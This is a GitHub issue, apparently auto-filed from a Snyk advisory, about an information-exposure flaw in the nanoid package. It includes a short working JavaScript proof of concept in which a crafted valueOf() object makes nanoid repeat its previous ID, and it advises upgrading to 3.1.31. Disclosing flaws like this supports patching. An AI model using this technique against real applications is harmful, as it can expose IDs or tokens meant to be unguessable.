Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Snyk vulnerability [SNYK-JS-NANOID-2332193] #8892

Closed
github-actions bot opened this issue Jan 12, 2022 · 0 comments
Closed

Snyk vulnerability [SNYK-JS-NANOID-2332193] #8892

github-actions bot opened this issue Jan 12, 2022 · 0 comments
Labels
help wanted Help/Contributions wanted from community members snyk-vulnerability

Comments

@github-actions
Copy link
Contributor

Affecting Packages/Plugins

Overview

Affected versions of this package are vulnerable to Information Exposure via the valueOf() function which allows to reproduce the last id generated.

PoC

import { nanoid } from 'nanoid';

const makeProxyNumberToReproducePreviousID = () => {
  let step = 0;
  return {
    valueOf() {
      // // if (!pool || pool.length < bytes) {
      if (step === 0) {
        step++;
        return 0;
      }

      // } else if (poolOffset + bytes > pool.length) {
      if (step === 1) {
        step++;
        return -Infinity;
      }

      // poolOffset += bytes
      if (step === 2) {
        step++;
        return 0;
      }

      return 21;
    },
  };
};

const ID1 = nanoid();
const ID2 = nanoid(makeProxyNumberToReproducePreviousID());
console.log({ ID1, ID2, isIDsEqual: ID1 === ID2 });

Remediation

Upgrade nanoid to version 3.1.31 or higher.

References

@github-actions github-actions bot added help wanted Help/Contributions wanted from community members snyk-vulnerability labels Jan 12, 2022
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
help wanted Help/Contributions wanted from community members snyk-vulnerability
Projects
None yet
Development

No branches or pull requests

0 participants